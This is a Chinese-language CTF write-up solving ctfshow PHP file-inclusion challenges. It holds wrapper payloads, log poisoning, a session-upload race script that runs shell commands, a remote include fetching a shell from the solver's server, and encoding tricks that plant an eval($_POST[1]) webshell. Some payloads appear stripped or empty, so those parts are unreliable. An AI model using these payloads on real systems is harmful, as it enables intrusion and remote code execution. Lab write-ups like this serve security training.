CTFSHOW web入门 文件包含篇

文章目录

      • web78
      • web79
      • web80
      • web81
      • web82-86
      • web87
      • web88
      • web116
      • web117

web78

filter伪协议
payload
file=php://filter/convert.base64-encode/resource=flag.php
解码后得到flag

web79

data伪协议
payload

file=data://text/plain,

web80

远程文件包含
xxx为自己服务器地址
?file=http://xxxx/shell.txt
shell.txt中内容

web81

日志包含
首先在UA头里面写入一句话
CTFSHOW web入门 文件包含篇_第1张图片
接着包含日志文件并利用一句话
CTFSHOW web入门 文件包含篇_第2张图片

web82-86

参考链接
https://www.freebuf.com/vuls/202819.html
exp

import requests
import threading
import sys
session=requests.session()
sess='yu22x'
url1="http://05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080/"
url2='http://05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080?file=/tmp/sess_'+sess
data1={
     
	'PHP_SESSION_UPLOAD_PROGRESS':''
}
data2={
     
	'1':'system("cat f*");'
}
file={
     
	'file':'abc'
}
cookies={
     
	'PHPSESSID': sess
}
def write():
	while True:
		r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
	while True:
		r = session.post(url2,data=data2)
		if 'ctfshow{' in r.text:
			print(r.text)
threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()

web87

绕过死亡die
文件名可以通过两次url全编码绕过。
因为前面有die,所以我们后面直接写php内容会起不到作用。
1、base64编码绕过

payload

GET
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2561%252e%2570%2568%2570
// file=php://filter/write=convert.base64-decode/resource=a.php
POST
content=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
其中PD9waHAgZXZhbCgkX1BPU1RbMV0pOw=="$_POST[1]);"的base64编码。前面的11是为了填充""
base64 44位解码,其中""解码的内容其实只有phpdie,所以需要再填充两位。
//content=

2、rot13编码绕过
payload

GET
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2562%252e%2570%2568%2570
//file=php://filter/read=string.rot13/resource=b.php
POST
content=cuc riny($_CBFG[1]);
//content=

web88

data伪协议base64编码绕过
payload

?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOw
PD9waHAgZXZhbCgkX1BPU1RbMV0pOw是

web116

下载下来视频,然后用010editor可以看到里面有一张图片,提取出来发现源码。
是一个文件包含。
如下图所示
CTFSHOW web入门 文件包含篇_第3张图片
过滤了很多协议和编码方式,但其实都是摆设,因为用的是file_get_contents所以,直接 输入file=flag.php就可以过了。
payload:file=flag.php

web117

function filter($x){
     
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
     
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "".$contents);

考察点:绕过死亡die
题目中过滤了很多协议和编码方式,但是除了我们常用的base64和rot13还是有很多方法可以绕过die的
更多编码方式
这是取一个 UCS-2LE UCS-2BE

payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=??

这种是将字符两位两位进行交换
大家可以自行测试如下代码

echo iconv("UCS-2LE","UCS-2BE",'??');

输出如下,使得die失效,并且我们的一句话木马可以使用
?<hp pid(e;)>? eval($_POST[1]);?>

你可能感兴趣的:(CTFSHOW web入门 文件包含篇)